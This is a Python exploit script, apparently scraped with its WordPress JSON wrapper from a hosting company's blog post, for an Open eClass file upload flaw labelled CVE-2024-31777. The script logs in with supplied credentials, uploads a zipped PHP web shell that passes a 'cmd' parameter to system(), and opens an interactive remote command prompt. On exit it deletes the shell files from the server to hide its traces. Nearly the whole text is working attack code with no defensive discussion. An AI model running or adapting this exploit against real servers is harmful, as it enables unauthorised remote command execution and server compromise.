import requests
import argparse
import zipfile
import os
import sys<\/p>\n
RED = ‘\\033[91m’
GREEN = ‘\\033[92m’
YELLOW = ‘\\033[93m’
RESET = ‘\\033[0m’
ORANGE = ‘\\033[38;5;208m’<\/p>\n
MALICIOUS_PAYLOAD = “””\\
<?php<\/p>\n
if(isset($_REQUEST[‘cmd’])){
$cmd = ($_REQUEST[‘cmd’]);
system($cmd);
die;
}<\/p>\n
?>
“””<\/p>\n
def banner():
print(f”'{RED}
{YELLOW}
============================ Author: Frey ============================
{RESET}”’)<\/p>\n
def execute_command(openeclass, filename):
while True:
# Prompt for user input with “eclass”
cmd = input(f”{RED}[{YELLOW}eClass{RED}]~# {RESET}”)<\/p>\n
# Check if the command is ‘quit’, then break the loop
if cmd.lower() == “quit”:
print(f”{ORANGE}\\nExiting…{RESET}”)
clean_server(openeclass)
sys.exit()<\/p>\n
# Construct the URL with the user-provided command
url = f”{openeclass}\/courses\/user_progress_data\/cert_templates\/{filename}?cmd={cmd}”<\/p>\n
# Execute the GET request
try:
response = requests.get(url)<\/p>\n
# Check if the request was successful
if response.status_code == 200:
# Print the response text
print(f”{GREEN}{response.text}{RESET}”)<\/p>\n
except requests.exceptions.RequestException as e:
# Print any error that occurs during the request
print(f”{RED}An error occurred: {e}{RESET}”)<\/p>\n
def upload_web_shell(openeclass, username, password):
login_url = f'{openeclass}\/?login_page=1′
login_page_url = f'{openeclass}\/main\/login_form.php?next=%2Fmain%2Fportfolio.php’<\/p>\n
# Login credentials
payload = {
‘next’: ‘\/main\/portfolio.php’,
‘uname’: f'{username}’,
‘pass’: f'{password}’,
‘submit’: ‘Enter’
}<\/p>\n
headers = {
‘Referer’: login_page_url,
}<\/p>\n
# Use a session to ensure cookies are handled correctly
with requests.Session() as session:
# (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
session.get(login_page_url)<\/p>\n
# Post the login credentials
response = session.post(login_url, headers=headers, data=payload)<\/p>\n
# Create a zip file containing the malicious payload
zip_file_path = ‘malicious_payload.zip’
with zipfile.ZipFile(zip_file_path, ‘w’) as zipf:
zipf.writestr(‘evil.php’, MALICIOUS_PAYLOAD.encode())<\/p>\n
# Upload the zip file
url = f'{openeclass}\/modules\/admin\/certbadge.php?action=add_cert’
files = {
‘filename’: (‘evil.zip’, open(zip_file_path, ‘rb’), ‘application\/zip’),
‘certhtmlfile’: (None, ”),
‘orientation’: (None, ‘L’),
‘description’: (None, ”),
‘cert_id’: (None, ”),
‘submit_cert_template’: (None, ”)
}
response = session.post(url, files=files)<\/p>\n
# Clean up the zip file
os.remove(zip_file_path)<\/p>\n
# Check if the upload was successful
if response.status_code == 200:
print(f”{GREEN}Payload uploaded successfully!{RESET}”)
return True
else:
print(f”{RED}Failed to upload payload. Exiting…{RESET}”)
return False<\/p>\n
def clean_server(openeclass):
print(f”{ORANGE}Cleaning server…{RESET}”)
# Remove the uploaded files
requests.get(f”{openeclass}\/courses\/user_progress_data\/cert_templates\/evil.php?cmd=rm%20evil.zip”)
requests.get(f”{openeclass}\/courses\/user_progress_data\/cert_templates\/evil.php?cmd=rm%20evil.php”)
print(f”{GREEN}Server cleaned successfully!{RESET}”)<\/p>\n
def main():
parser = argparse.ArgumentParser(description=”Open eClass \u2013 CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution”)
parser.add_argument(‘-u’, ‘–username’, required=True, help=”Username for login”)
parser.add_argument(‘-p’, ‘–password’, required=True, help=”Password for login”)
parser.add_argument(‘-e’, ‘–eclass’, required=True, help=”Base URL of the Open eClass”)
args = parser.parse_args()<\/p>\n
banner()
# Running the main login and execute command function
if upload_web_shell(args.eclass, args.username, args.password):
execute_command(args.eclass, ‘evil.php’)<\/p>\n
if __name__ == “__main__”:
main()<\/p>\n","protected":false},"excerpt":{"rendered":"
import requestsimport argparseimport zipfileimport osimport sys RED = ‘\\033[91m’GREEN = ‘\\033[92m’YELLOW = ‘\\033[93m’RESET = ‘\\033[0m’ORANGE = ‘\\033[38;5;208m’ MALICIOUS_PAYLOAD = “””\\<?php if(isset($_REQUEST[‘cmd’])){$cmd = ($_REQUEST[‘cmd’]);system($cmd);die;} ?>“”” def banner():print(f”'{RED}{YELLOW}============================ Author: Frey ============================{RESET}”’) def execute_command(openeclass, filename):while True:# Prompt for user input with “eclass”cmd = input(f”{RED}[{YELLOW}eClass{RED}]~# {RESET}”) # Check if the command is ‘quit’, then break the loopif cmd.lower() == …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56219","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56219","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56219"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56219\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56219"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56219"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56219"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}